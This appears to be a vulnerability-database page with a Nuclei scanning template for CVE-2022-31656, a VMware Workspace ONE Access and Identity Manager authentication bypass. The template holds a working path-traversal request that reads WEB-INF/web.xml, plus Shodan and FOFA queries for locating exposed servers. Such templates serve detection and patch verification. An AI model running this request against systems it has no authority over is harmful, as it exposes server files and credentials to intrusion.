CVE-2022-31656: VMware - Local File Inclusion

2025-08-01 VMware PoC Public

Description

VMware Workspace ONE Access, Identity Manager, and Realize Automation are vulnerable to local file inclusion because they contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.

PoC

id: CVE-2022-31656

info:
  name: VMware - Local File Inclusion
  author: DhiyaneshDk
  severity: critical
  description: |
    VMware Workspace ONE Access, Identity Manager, and Realize Automation are vulnerable to local file inclusion because they contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.
  impact: |
    The impact of this vulnerability is that an attacker can read sensitive files on the server, which may contain credentials, configuration files, or other sensitive information.
  remediation: |
    To remediate this vulnerability, ensure that all user-supplied input is properly validated and sanitized before being used in file inclusion operations.
  reference:
    - https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
    - https://www.vmware.com/security/advisories/VMSA-2022-0021.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31656
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31656
    cwe-id: CWE-287
    epss-score: 0.2294
    epss-percentile: 0.97631
    cpe: cpe:2.3:a:vmware:identity_manager:3.3.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: identity_manager
    shodan-query: http.favicon.hash:-1250474341
    fofa-query:
      - icon_hash=-1250474341
      - app="vmware-workspace-one-access" || app="vmware-identity-manager" || app="vmware-vrealize"
  tags: cve2022,cve,vmware,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/SAAS/t/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<web-app"
          - "<servlet-name>"
        condition: and

      - type: word
        part: header
        words:
          - "application/xml"

      - type: status
        status:
          - 200
# digest: 490a0046304402206d5184e0286f784308495ba1fafb7c99272b09c18cdd7cea79c5adacfa81efb602204c9dfec1f09297cd8768f40606efb530640801069f821aa4ca8b09eaefb75845:922c64590222798bb761d5b6d8e72950

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